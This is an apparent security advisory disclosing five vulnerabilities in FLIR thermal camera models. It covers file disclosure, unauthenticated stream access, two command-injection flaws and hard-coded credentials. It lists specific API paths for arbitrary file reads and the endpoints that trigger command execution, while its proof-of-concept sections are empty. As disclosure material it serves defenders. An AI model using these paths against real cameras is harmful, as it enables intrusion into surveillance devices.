SSD Advisory – FLIR Systems Multiple Vulnerabilities

Vulnerabilities Summary
The following advisory describes 5 (five) vulnerabilities found in FLIR Systems FLIR Thermal/Infrared Camera FC-Series S, FC-Series ID, PT-Series.

FLIR – “Best-in-class thermal cameras with on-board analytics for high-performance intrusion detection. The new FC-Series ID combines best-in-class thermal image detail and high-performance edge perimeter analytics together in a single device that delivers optimal intrusion detection in challenging environments and extreme conditions”.

The vulnerabilities found are:

• Information disclosure
• Stream disclosure
• Unauthenticated Remote Code Execution
• Authenticated Remote Code Execution
• Hard-coded Credentials

Credit
An independent security researcher, Gjoko Krstic – Zero Science Lab, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Vendor Response
The vendor has been notified on the 27th of June 2017, several emails were exchanged, but no ETA for a fix or workaround have been provided for the following vulnerabilities.

Vulnerabilities details

Information Disclosure (1)
The FLIR web-server webroot/js/fns.login.js provides API functionality. By using the following API calls an attacker can download and read files from the FLIR OS:

• /api/xml?file=PATH-TO-FILE
• /api/file/download/PATH-TO-FILE
• /api/file/content/PATH-TO-FILE
• /api/server/videosnap?file=PATH-TO-FILE
• /page/maintenance/view/server-lan
• /api/file/ini/read
• /api/system/config/product

Proof of Concept

Stream Disclosure
FLIR web-server does not validate if the user is authenticated when asked to show the live feed.

Proof of Concept
An attacker can get the live stream by sending sending the the following request:

Unauthenticated Remote Code Execution
User controlled input is not sufficiently sanitized and can be exploit by an attacker to execute command on the machine.

By sending GET request to /maintenance/controllerFlirSystem.php an attacker can trigger the vulnerability.

Proof of Concept

Authenticated Remote Code Execution
User controlled input is not sufficiently sanitized and can be exploit by an attacker to execute command on the machine.

By sending POST request to //page/maintenance/lanSettings/dns an attacker can trigger the vulnerability.

Proof of Concept

Hard-coded Credentials